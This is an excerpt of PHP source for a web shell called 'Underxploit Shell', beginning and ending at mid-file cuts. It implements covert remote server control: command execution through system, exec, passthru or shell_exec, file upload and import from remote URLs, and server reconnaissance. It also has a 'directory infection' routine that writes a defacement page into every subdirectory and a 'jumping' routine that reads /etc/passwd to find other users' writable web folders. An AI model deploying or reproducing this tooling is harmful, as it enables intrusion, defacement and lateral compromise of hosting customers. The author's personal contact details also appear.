  946. $npass = "\$pass = \"" . $npass . "\";";
  947. $con = xs($_SERVER['SCRIPT_FILENAME']);
  948. $con = preg_replace("/\\\$pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is", $npass, $con);
  949. return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
  950. }
  951.  
  952. switch (true) {
  953. case ($_UNDERXPLOIT['newpass']): switch (true) {
  954. case (chipt($_UNDERXPLOIT['newpass']) == $pass): bacot('Password is the same as at this time');
  955. break;
  956. case (changepass($_UNDERXPLOIT['newpass'])): mtr('?' . x5 . $dir . '&' . x7 . 'logout');
  957. bacot('Password changed');
  958. break;
  959. default: bacot('Unable to change password');
  960. }
  961. }
  962. print '<script type="text/javascript">
  963. function validate() {
  964. var a = document.getElementById("newpass").value;
  965. var b = document.getElementById("confirm").value;
  966. if(a!=b) {'; s('Password do not match');
  967. print 'return false;
  968. }
  969. } </script>';
  970. print "<div class='coL-option top'>
  971. <form method='post' onSubmit='return validate();' action='?" . x7 . "change&" . x5 . $dir . "'>
  972. <table style='width:100%'>
  973. <td class='tup' style='width:120px'>Password :</td>
  974. <td style='width:75%'><input type='password' id='newpass' name='newpass' style='width:100%'></td>
  975. <tr>
  976. <td class='tup' style='width:120px'>Confirm :</td>
  977. <td style='width:75%'><input type='password' id='confirm' name='confirm' style='width:100%'></td>
  978. <tr>
  979. <td style='width:120px'></td>
  980. <td style='width:75%'>
  981. <button type='submit' name='cps' class='btn-exe' onclick='saveForm();return false;' style='width:100px' id='bck'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td>
  982. </table>
  983. </form>
  984. </div></div>";
  985. print '<script type="text/javascript">function saveForm(){
  986. if(document.getElementById("newpass").value == ""){';
  987. s('Enter new password');
  988. print 'document.getElementById("newpass").focus();
  989. return false;
  990. }
  991. if(document.getElementById("confirm").value == ""){';
  992. s('Confirm your password');
  993. print 'return false;
  994. }
  995. document.getElementById("bck").submit();
  996. }
  997. </script>';
  998. break;
  999.  
  1000.  
  1001. case 'kill': switch (true) {
  1002. case (file_exists("underxploit.php")): unlink("underxploit.php"); unlink(__FILE__); bacot('Good Bye Baby :\')');
  1003. mtr('http://underxploit.blogspot.com');
  1004. }
  1005. break;
  1006.  
  1007. case 'renadir': $c = $_UNDERXPLOIT['e'];
  1008. switch (true) {
  1009. case ($_UNDERXPLOIT['e']): $e = rename($dir, "" . dirname($dir) . "/" . htmlspecialchars($_UNDERXPLOIT['e']) . "");
  1010. switch (true) {
  1011. case ($e): print '<script type="text/javascript">c("?' . x5 . dirname($dir) . '");</script>';
  1012. break;
  1013. default: bacot('Permission denied');
  1014. }
  1015. }
  1016. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">RENAME DIRECTORY</td></table></div>';
  1017. print "<div class='coL-option top'><br /><br /><center><i class='zmdi zmdi-folder-outline zmdi-hc-fw zmdi-hc-4x'></i></center><br /><br />";
  1018. print "<form action='?" . x7 . "renadir&" . x5 . $dir . "' style='margin:0px' method='post'><table cellspacing='0'><td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'><input type='text' value='" . basename($dir) . "' name='e' id='vrn'></td><td style='width:20%'><button type='submit' class='btn-exe' onclick='rnm(); return false' id='rn'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table></form></div></div>";
  1019. print '<script type="text/javascript">function rnm(){
  1020. if(document.getElementById("vrn").value == ""){'; s('Form do not leave empty');
  1021. print 'document.getElementById("vrn").focus();
  1022. return false;
  1023. } document.getElementById("rn").submit();
  1024. } </script>';
  1025. break;
  1026.  
  1027. case 'chmdir': switch (true) {
  1028. case ($_UNDERXPLOIT['perm']):
  1029. switch (true) {
  1030. case (chmod($dir, octdec($_UNDERXPLOIT['perm']))): mtr("?" . x7 . "chmdir&" . x5 . $dir);
  1031. bacot('Directory changed mode to '.decoct(octdec($_UNDERXPLOIT['perm'])));
  1032. break;
  1033. default: bacot('Permission denied');
  1034. }
  1035. }
  1036. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CHMOD DIRECTORY </td></table></div>';
  1037. print "<div class='coL-option top'><br /><br /><center><i class='zmdi zmdi-wrench zmdi-hc-fw zmdi-hc-4x'></i></center><br /><br />";
  1038. print "<form action='?" . x7 . "chmdir&" . x5 . $dir . "' style='margin:0px' method='post'><table cellspacing='0'><td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'><input type='number' value='" . substr(sprintf("%o", fileperms($dir)) , -4)."' name='perm' id='decoct'></td><td style='width:20%'><button type='submit' id='chcrot' onclick='chmod(); return false' class='btn-exe'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table></form></div></div>";
  1039. print '<script type="text/javascript">function chmod(){
  1040. if(document.getElementById("decoct").value == ""){'; s('Form do not leave empty');
  1041. print 'document.getElementById("decoct").focus();
  1042. return false;
  1043. } document.getElementById("chcrot").submit();
  1044. } </script>';
  1045. break;
  1046.  
  1047. case 'about': print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">ABOUT ME</td></table></div>';
  1048. print '<div class="coL-option" style="padding:7px"><br /><br />
  1049. <center><i class="zmdi zmdi-shield-check zmdi-hc-4x animated infinite rubberBand"></i></center><br />
  1050. <center>
  1051. <font size="4px" style="shadow:2px 2px 0px #fff">UNDERXPLOIT SHELL</font>
  1052. <br /><i class="zmdi zmdi-globe-lock zmdi-hc-fw"></i><span class="label-success"> http://' . $_SERVER['HTTP_HOST'] . '</span></center><br /><br />
  1053. </div>
  1054.  
  1055. <div class="coL-panel top">
  1056. <table>
  1057. <td class="td-panel">
  1058. <center>
  1059. <div class="loader"></div>
  1060. </center>
  1061. </td>
  1062. <td class="td-panel-right">CREDITS</td>
  1063. </table>
  1064. </div>
  1065. <div id="paksa"><table class="table-info">
  1066. <tr class="ex-hov">
  1067. <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Name</td>
  1068. <td class="td-info">: Underxploit Shell</td>
  1069. <tr class="ex-hov">
  1070. <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Version</td>
  1071. <td class="td-info">: 0.1.4 [ Dark ]</td>
  1072. <tr class="ex-hov">
  1073. <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Author</td>
  1074. <td class="td-info">: Wildan Izzudin</td>
  1075. <tr class="ex-hov">
  1076. <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Email</td>
  1077. <td class="td-info break">: <a class="a" href="mailto:tokeichun69@gmail.com">tokeichun69@gmail.com</a></td>
  1078. <tr class="ex-hov">
  1079. <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Facebook</td>
  1080. <td class="td-info break">: <a class="a" href="http://www.facebook.com/WILDAN.OFFICIAL">@WILDAN.OFFICIAL</a></td>
  1081. <tr class="ex-hov">
  1082. <td style="width:110px" class="td-info"><span class="label label-success"><i class="zmdi zmdi-plus zmdi-hc-fw"></i></span> Blog</td>
  1083. <td class="td-info">: <a class="a" href="http://underxploit.blogspot.co.id">Underxploit Reborn</a></td>
  1084. </table>
  1085. </div>
  1086. <div class="coL-option">
  1087. <center><br />If there is any suggestion or feedback please contact me through the contact above.<br /><br />
  1088. <center><br />&mdash; Thank You &mdash;</center>
  1089. </div>
  1090. </div>';
  1091. break;
  1092.  
  1093. case 'upload': print '<div class="coL-panel"><table>
  1094. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MULTIPLE UPLOAD</td></table></div>';
  1095.  
  1096. switch (true) {
  1097. case ($_REQUEST['upload']): switch (true) {
  1098. case ($_UNDERXPLOIT['upload']): $ff = count($_FILES['file']['name']);
  1099. for($i = 0; $i<$ff; $i++) {
  1100. $drp = $_FILES['file']['name'][$i];
  1101. switch (true) {
  1102. case (empty($drp)): continue 2;
  1103. break;
  1104. }
  1105.  
  1106. if (isset($_REQUEST['ufile'][$i])) {
  1107. $ufile = $_REQUEST['ufile'][$i];
  1108. switch (true) {
  1109. case (empty($ufile)): $cx = $_FILES['file']['name'][$i];
  1110. break;
  1111. default: $cx = $ufile;
  1112. }
  1113.  
  1114. switch (true) {
  1115. case (@copy($_FILES['file']['tmp_name'][$i], $dir . '/' . $cx)): bacot('File uploaded succesfully');
  1116. break;
  1117. default: bacot('Failed to upload file');
  1118. }
  1119. }
  1120. } break;
  1121. } break;
  1122. }
  1123.  
  1124. print '<script type="text/javascript">
  1125. $(document).ready(function() {
  1126. var wr1 = $(".input_1");
  1127. var add1 = $(".add_1");
  1128. var x1 = 1;
  1129.  
  1130. $(add1).click(function(e) {
  1131. e.preventDefault();
  1132. if(x1 < 5) {
  1133. x1++;
  1134. $(wr1).append(\'<table><td class="tup" style="width:20%">File :</td><td style="width:80%"><input type="file" name="file[]"></td><tr><td class="tup" style="width:20%">Name :</td><td style="width:80%"><input name="ufile[]" type="text" placeholder="( Optional )" value="" /></td></table>\');
  1135. } else {
  1136. $(".add_1").hide();
  1137. }
  1138. });
  1139. $(wr1).on("click",".remove_field", function(e) {
  1140. e.preventDefault(); $(this).parent(\'div\').remove(); x1--;
  1141. })
  1142. });</script>
  1143. <div class="coL-option"><div class="wr"><span class="label-success"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></span> From Device : <button class="lawb add_1" style="width:50px;float:right">Add </button></div><hr>
  1144. <form enctype="multipart/form-data" action="?' . x7 . 'upload&' . x5 . $dir . '" method="POST" style="margin:0px">
  1145. <div class="input_1">
  1146. <table>
  1147. <td class="tup" style="width:20%">File :</td>
  1148. <td style="width:80%">
  1149. <input type="file" name="file[]"></td>
  1150. <tr>
  1151. <td class="tup" style="width:20%">Name :</td>
  1152. <td style="width:80%"><input name="ufile[]" type="text" placeholder="( Optional )" value="" /></td>
  1153. </table>
  1154. </div>
  1155. <table><td style="width:20%"></td>
  1156. <td style="width:80%"><input type="submit" name="upload" style="width:100px" value="Upload" class="btn-exe" />
  1157. </td>
  1158. </table>
  1159. </form>
  1160. </div>';
  1161.  
  1162. if (isset($_UNDERXPLOIT['submit'])) {
  1163. $url = count($_UNDERXPLOIT['url']);
  1164. for($i = 0; $i < $url; $i++){
  1165. $drq = $_UNDERXPLOIT['url'][$i];
  1166.  
  1167. switch (true) {
  1168. case (empty($drq)): continue 2;
  1169. }
  1170.  
  1171. switch (true) {
  1172. case(empty($_UNDERXPLOIT['uname'][$i])): $ufc = basename($drq);
  1173. break;
  1174. default: $ufc = $_UNDERXPLOIT['uname'][$i];
  1175. }
  1176. switch (true) {
  1177. case (op($ufc, $drq)): bacot('File imported');
  1178. break;
  1179. default: bacot('Failed to import file');
  1180. }
  1181. }
  1182. }
  1183. print '<script type="text/javascript">
  1184. $(document).ready(function() {
  1185. var wr2 = $(".input_2");
  1186. var add2 = $(".add_2");
  1187. var x2 = 1;
  1188.  
  1189. $(add2).click(function(e) {
  1190. e.preventDefault();
  1191. if(x2 < 5) {
  1192. x2++;
  1193. $(wr2).append(\'<table style="width:100%"><td class="tup" style="width:20%">Link :</td><td style="width:80%"><input type="text" name="url[]" placeholder="https://pastebin.com/raw/M4bJJtBD" style="width:100%"></td><tr><td class="tup" style="width:20%">Name :</td><td style="width:80%"><input type="text" name="uname[]" style="width:100%" placeholder="( Optional )"></td></table>\');
  1194. } else {
  1195. $(".add_2").hide();
  1196. }
  1197. });
  1198. $(wr2).on("click",".remove_field", function(e) {
  1199. e.preventDefault(); $(this).parent(\'div\').remove(); x2--;
  1200. })
  1201. });</script>
  1202. <div class="coL-option top"><div class="wr"><span class="label-success"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></span> From Internet (Import) : <button class="lawb add_2" style="width:50px;float:right">Add </button></div>
  1203. <hr>
  1204. <form action="?' . x7 . 'upload&' . x5 . $dir . '" method="POST">
  1205. <div class="input_2">
  1206. <table style="width:100%">
  1207. <td class="tup" style="width:20%">Link :</td>
  1208. <td style="width:80%"><input type="text" name="url[]" placeholder="https://pastebin.com/raw/M4bJJtBD" style="width:100%"></td>
  1209. <tr>
  1210. <td class="tup" style="width:20%">Name :</td>
  1211. <td style="width:80%"><input type="text" name="uname[]" style="width:100%" placeholder="( Optional )"></td>
  1212. </table>
  1213. </div>
  1214. <table>
  1215. <td style="width:20%"></td>
  1216. <td style="width:80%"><input type="submit" name="submit" style="width:100px" value="Upload" class="btn-exe"></td>
  1217. </table>
  1218. </form>
  1219. </div>
  1220. </div>';
  1221. break;
  1222.  
  1223. case 'system':
  1224. function exe($corey) {
  1225. switch (true) {
  1226. case (function_exists('system')):
  1227. @ob_start();
  1228. @system($corey);
  1229. $corex = @ob_get_contents();
  1230. @ob_end_clean();
  1231. return $corex;
  1232. break;
  1233. case (function_exists('exec')):
  1234. @exec($corey, $values);
  1235. $corex = "";
  1236. foreach($values as $value) {
  1237. $corex.= $result;
  1238. } return $corex;
  1239. break;
  1240. case (function_exists('passthru')):
  1241. @ob_start();
  1242. @passthru($corey);
  1243. $corex = @ob_get_contents();
  1244. @ob_end_clean();
  1245. return $corex;
  1246. break;
  1247. case (function_exists('shell_exec')):
  1248. $corex = @shell_exec($corey);
  1249. return $corex;
  1250. }
  1251. }
  1252.  
  1253. function disk($dz) {
  1254. switch (true) {
  1255. case ($dz >= 1073741824): return sprintf('%1.2f', $dz / 1073741824) . ' GB';
  1256. break;
  1257. case ($dz >= 1048576): return sprintf('%1.2f', $dz / 1048576) . ' MB';
  1258. break;
  1259. case ($dz >= 1024): return sprintf('%1.2f', $dz / 1024) . ' KB';
  1260. break;
  1261. default: return $dz . ' B';
  1262. }
  1263. }
  1264.  
  1265. function fuck($b_ms, $c_ms, $d_ms) {
  1266. if (strpos($b_ms, $c_ms) === FALSE) return FALSE;
  1267. if (strpos($b_ms, $d_ms) === FALSE) return FALSE;
  1268. $a_ms = strpos($b_ms, $c_ms) + strlen($c_ms);
  1269. $e_ms = strpos($b_ms, $d_ms, $a_ms);
  1270. $f_ms = substr($b_ms, $a_ms, $e_ms - $a_ms);
  1271. return $f_ms;
  1272. }
  1273.  
  1274. switch (true) {
  1275. case (get_magic_quotes_gpc()): function nom($pom) {
  1276. return is_array($pom) ? array_map('nom', $pom) : stripslashes($pom);
  1277. }
  1278. $_UNDERXPLOIT = nom($_UNDERXPLOIT);
  1279. }
  1280.  
  1281. $safemode = (@ini_get(strtolower("safe_mode")) == 'on') ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  1282. $disablefunc = @ini_get("disable_functions");
  1283. $mysql = (function_exists('mysql_connect')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  1284. $curl = (function_exists('curl_version')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</font>";
  1285. $wget = (exe('wget --help')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  1286. $perl = (exe('perl --help')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</font>";
  1287. $python = (exe('python --help')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  1288. $disfunc = (!empty($disablefunc)) ? "<span class='label-danger'>" . $disablefunc . "</span>" : "<span class='label-success'>NONE</span>";
  1289.  
  1290. switch (true) {
  1291. case (!function_exists('posix_getegid')):
  1292. $_cox = @get_current_user();
  1293. $_cid = @getmyuid();
  1294. $_ccr = @getmygid();
  1295. $_cum = "?";
  1296. break;
  1297. default:
  1298. $_cid = @posix_getpwuid(posix_geteuid());
  1299. $_ccr = @posix_getgrgid(posix_getegid());
  1300. $_cox = $_cid['name'];
  1301. $_cid = $_cid['uid'];
  1302. $_cum = $_ccr['name'];
  1303. $_ccr = $_ccr['gid'];
  1304. }
  1305.  
  1306. print '<div class="coL-panel">
  1307. <table>
  1308. <td class="td-panel">
  1309. <center>
  1310. <div class="loader"></div>
  1311. </center>
  1312. </td>
  1313. <td class="td-panel-right">SYSTEM INFORMATION</td>
  1314. </table>
  1315. </div>';
  1316.  
  1317. print "<div id='paksa'><table width=100% class='table-info' cellspacing=0>
  1318. <th class=th-info style=width:120px>
  1319. <center>Component</center>
  1320. </th>
  1321. <th class=th-info>
  1322. <center>Arrow</center>
  1323. </th>
  1324. <th class=th-info break>
  1325. <center>Result</center>
  1326. </th>
  1327. </tr>
  1328.  
  1329. <tr class='ex-hov'>
  1330. <td class='td-info' style='width:130px'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> Server </td>
  1331. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1332. <td class='td-info'> " . $_SERVER['SERVER_SOFTWARE'] . "</td>
  1333. </tr>
  1334.  
  1335. <tr class='ex-hov'>
  1336. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> Username
  1337. </td>
  1338. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1339. <td class='td-info'> " . $_cox . " [" . $_cid . "]</td>
  1340. </tr>
  1341.  
  1342. <tr class='ex-hov'>
  1343. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> Group
  1344. </td>
  1345. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1346. <td class='td-info'>" . $_cum . " [" . $_ccr . "]</td>
  1347. </tr>
  1348.  
  1349. <tr class='ex-hov'>
  1350. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> Server IP </td>
  1351. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1352. <td class='td-info'>" . gethostbyname($_SERVER['HTTP_HOST']) . "</td>
  1353. </tr>
  1354.  
  1355. <tr class='ex-hov'>
  1356. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> Your IP </td>
  1357. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1358. <td class='td-info'> " . $_SERVER['REMOTE_ADDR'] . "</td>
  1359. </tr>
  1360.  
  1361. <tr class='ex-hov'>
  1362. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> PHP Version</td>
  1363. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1364. <td class='td-info'> " . @phpversion() . "</td>
  1365. </tr>
  1366.  
  1367. <tr class='ex-hov'>
  1368. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> Disk Space</td>
  1369. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1370. <td class='td-info'>[" . disk(disk_free_space(getcwd())) . "] / [" . disk(disk_total_space(getcwd())) . "]</td>
  1371. </tr>
  1372.  
  1373. <tr class='ex-hov'>
  1374. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> Safe Mode</td>
  1375. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1376. <td class='td-info'> $safemode</td>
  1377. </tr>
  1378.  
  1379. <tr class='ex-hov'>
  1380. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> MySQL</td>
  1381. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1382. <td class='td-info'>$mysql</td>
  1383. </tr>
  1384.  
  1385. <tr class='ex-hov'>
  1386. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> Perl
  1387. </td>
  1388. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1389. <td class='td-info'> $perl </td>
  1390. </tr>
  1391.  
  1392. <tr class='ex-hov'>
  1393. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> Python</td>
  1394. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1395. <td class='td-info'>$python</td>
  1396. </tr>
  1397.  
  1398. <tr class='ex-hov'>
  1399. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> WGET</td>
  1400. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1401. <td class='td-info'>$wget</td>
  1402. </tr>
  1403.  
  1404. <tr class='ex-hov'>
  1405. <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> CURL</td>
  1406. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1407. <td class='td-info'>$curl</td>
  1408. </tr>";
  1409.  
  1410. switch (true) {
  1411. case (get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on"):
  1412. print "<tr class='ex-hov'>
  1413. <td align='left' class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> Magic Quotes </td>
  1414. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1415. <td><span class='label label-success'>ON</span></tr>";
  1416. break;
  1417. default:
  1418. print "<tr class='ex-hov'>
  1419. <td align='left' class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span> Magic Quotes </td>
  1420. <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
  1421. <td class='td-info'><span class='label label-danger'>OFF</span></td>
  1422. </tr>";
  1423. }
  1424.  
  1425. print '</table></div>
  1426. <div class="coL-panel top">
  1427. <table>
  1428. <td class="td-panel">
  1429. <center>
  1430. <div class="loader"></div>
  1431. </center>
  1432. </td>
  1433. <td class="td-panel-right">KERNEL</td>
  1434. </table>
  1435. </div>';
  1436.  
  1437. print "<div class='coL-option' style='margin-bottom:3px;padding:7px'>" . php_uname() . "</div>";
  1438. print '<div class="coL-panel top">
  1439. <table>
  1440. <td class="td-panel">
  1441. <center>
  1442. <div class="loader"></div>
  1443. </center>
  1444. </td>
  1445. <td class="td-panel-right">DISABLE FUNCTION</td>
  1446. </table>
  1447. </div>';
  1448.  
  1449. print "<div class='coL-option wrap break' style='padding:7px'>" . $disfunc . "</div>
  1450. </div>";
  1451. break;
  1452.  
  1453. case 'infection':
  1454. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">DIRECTORY INFECTION</td></table></div>';
  1455. print "<form action='?" . x7 . "infection&". x5.$dir. "' method='post' style='padding:0;margin:0'>";
  1456. print '<div class="coL-option">';
  1457. print "<table cellspacing='0' cellpadding='3'><td align='left' style='padding:7px;width:60px'>
  1458. Root :</td><td><input type='text' name='base_dir' value='".getcwd()."'></td></tr>";
  1459. print "<tr><td align='left' style='padding:7px;width:60px'>File :</td><td> <input type='text' name='file_name' value='index.php' style='width:100%' placeholder=''></td></tr></table>";
  1460. print "</div>";
  1461.  
  1462. if (isset ($_UNDERXPLOIT['base_dir'])) {
  1463. switch (true) {
  1464. case (!file_exists ($_UNDERXPLOIT['base_dir'])) : bacot('Destination not found');
  1465. }
  1466. @chdir ($_UNDERXPLOIT['base_dir']) or die ('jembut');
  1467.  
  1468. $files = @scandir ($_UNDERXPLOIT['base_dir']) or die ("Oh Shit !!<br>");
  1469. foreach ($files as $file):
  1470. if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  1471. {
  1472. $index = getcwd ()."/".$file."/".$_UNDERXPLOIT['file_name'];
  1473. if (file_put_contents ($index, $_UNDERXPLOIT['index']))
  1474. print "
  1475. <div class='coL-option break wrap' style='margin-top:2px;margin-bottom:2px;font-size:14px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> $index </span></div>"; }
  1476. endforeach;
  1477. } else {
  1478. print "<div id='paksa'><textarea name='index' class='lined'># Hacked By Wildan Izzudin !!</textarea>";
  1479. print '<script type="text/javascript">
  1480. $(function() {
  1481. $(".lined").linedtextarea({selectedLine: 1});
  1482. }); </script>';
  1483. print "<input type='submit' value='INFECT' class='btn-exe' style='width:100%;margin-top:3px'></div>";
  1484. }
  1485. print "</form></div>";
  1486. break;
  1487.  
  1488. case 'multihash':
  1489. echo('<div class="coL-panel"><table>
  1490. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MULTIPLE HASH</td></table></div>');
  1491. if($_UNDERXPLOIT['encrypt']) {
  1492. switch($_UNDERXPLOIT['id']) {
  1493. case '1':
  1494. if(md5($_UNDERXPLOIT['text'])) {
  1495. echo("<div class='coL-option top'><table style='margin-bottom:3px'>
  1496. <td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Text </td><td class='break'> : ".$_UNDERXPLOIT['text']."</td><tr><td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Md5 </td><td class='break'> : ".md5($_UNDERXPLOIT['text'])."</td></table></div>"); } else {
  1497. error('Permission Denied !!');
  1498. }
  1499. break;
  1500. case '2':
  1501. if(crc32($_UNDERXPLOIT['text'])) {
  1502. echo("<div class='coL-option top'><table style='margin-bottom:3px'>
  1503. <td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Text </td><td class='break'> : ".$_UNDERXPLOIT['text']."</td><tr><td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Crc32 </td><td class='break'> : ".crc32($_UNDERXPLOIT['text'])."</td></table></div>"); } else {
  1504. error('Permission Denied !!');
  1505. }
  1506. break;
  1507. case '3':
  1508. if(sha1($_UNDERXPLOIT['text'])) {
  1509. echo("<div class='coL-option top'><table style='margin-bottom:3px'>
  1510. <td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Text </td><td class='break'> : ".$_UNDERXPLOIT['text']."</td><tr><td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Sha1 </td><td class='break'> : ".sha1($_UNDERXPLOIT['text'])."</td></table></div>"); } else {
  1511. error('Permission Denied !!');
  1512. }
  1513. break;
  1514. case '4':
  1515. echo("<div class='coL-option top'><table style='margin-bottom:3px'>
  1516. <td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> String </td><td class='break'> : ".$_UNDERXPLOIT['text']."</td><tr>
  1517. <td class='td-md5'
  1518. style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Md5 </td><td class='break'> : ".md5($_UNDERXPLOIT['text'])."</td><tr>
  1519. <td class='td-md5'
  1520. style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Crc32 </td><td class='break'> : ".crc32($_UNDERXPLOIT['text'])."</td><tr>
  1521. <td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Sha1 </td><td class='break'> : ".sha1($_UNDERXPLOIT['text'])."</td></table></div>");
  1522. break;
  1523. }
  1524. }
  1525. echo("<div class='coL-option top'>
  1526. <form action='?".x7."multihash&".x5.$dir."' method='post'>
  1527. <table style='width:100%'>
  1528. <td style='width:20%'>Text :</td><td style='width:80%'>
  1529. <input type='text' name='text' style='width:100%'>
  1530. </td><tr>
  1531. <td style='width:20%'>Hash :</td><td style='width:80%'><select name='id' style='width:100%'>
  1532. <option value='1'>Md5</option>
  1533. <option value='2'>Crc32</option>
  1534. <option value='3'>Sha1</option>
  1535. <option value='4'>All</option>
  1536. </select></td><tr><td style='width:20%'></td><td style='width:80%'>
  1537. <input type='submit' value='Create' name='encrypt' class='btn-exe' style='width:100px'></td></table></form></div></div>");
  1538. break;
  1539.  
  1540. case 'jumping':
  1541. echo '<div class="coL-panel"><table>
  1542. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">JUMPING SERVER</td></table></div>';
  1543. $i = 0;
  1544. $s_a = fopen("/etc/passwd", "r");
  1545. while($s_b = fgets($s_a)) {
  1546. if($s_b == '' || !$s_a) {
  1547. bacot("Can't Read [ /etc/passwd ]");
  1548. mtr("?".x5.$dir);
  1549. echo x9;
  1550. } else {
  1551. preg_match_all('/(.*?):x:/', $s_b, $s_c);
  1552. foreach($s_c[1] as $s_d) {
  1553. $s_e = "/home/$s_d/public_html";
  1554. if(is_readable($s_e)) {
  1555. $i++;
  1556. $s_o = "<div class='coL-option'><table class='table-file' cellspacing='0'><td style='width:120px' class='td-file' style='padding:7px'> <a href='?dir=$s_e'><span class='label-success'> <i class='zmdi zmdi-folder-outline zmdi-hc-fw'></i> </span> [ $s_d ]</a></td>";
  1557.  
  1558. switch (true) {
  1559. case (is_writable($s_e)):
  1560. $s_o = "<div class='coL-option'><table class='table-file' cellspacing='0'><td style='width:120px' class='td-file' style='padding:7px'> <span class='label-success'> <i class='zmdi zmdi-folder-outline zmdi-hc-fw'></i> </span> <a href='?dir=$s_e'><font color='red'>[ $s_d ]</font></a></td>";
  1561. }
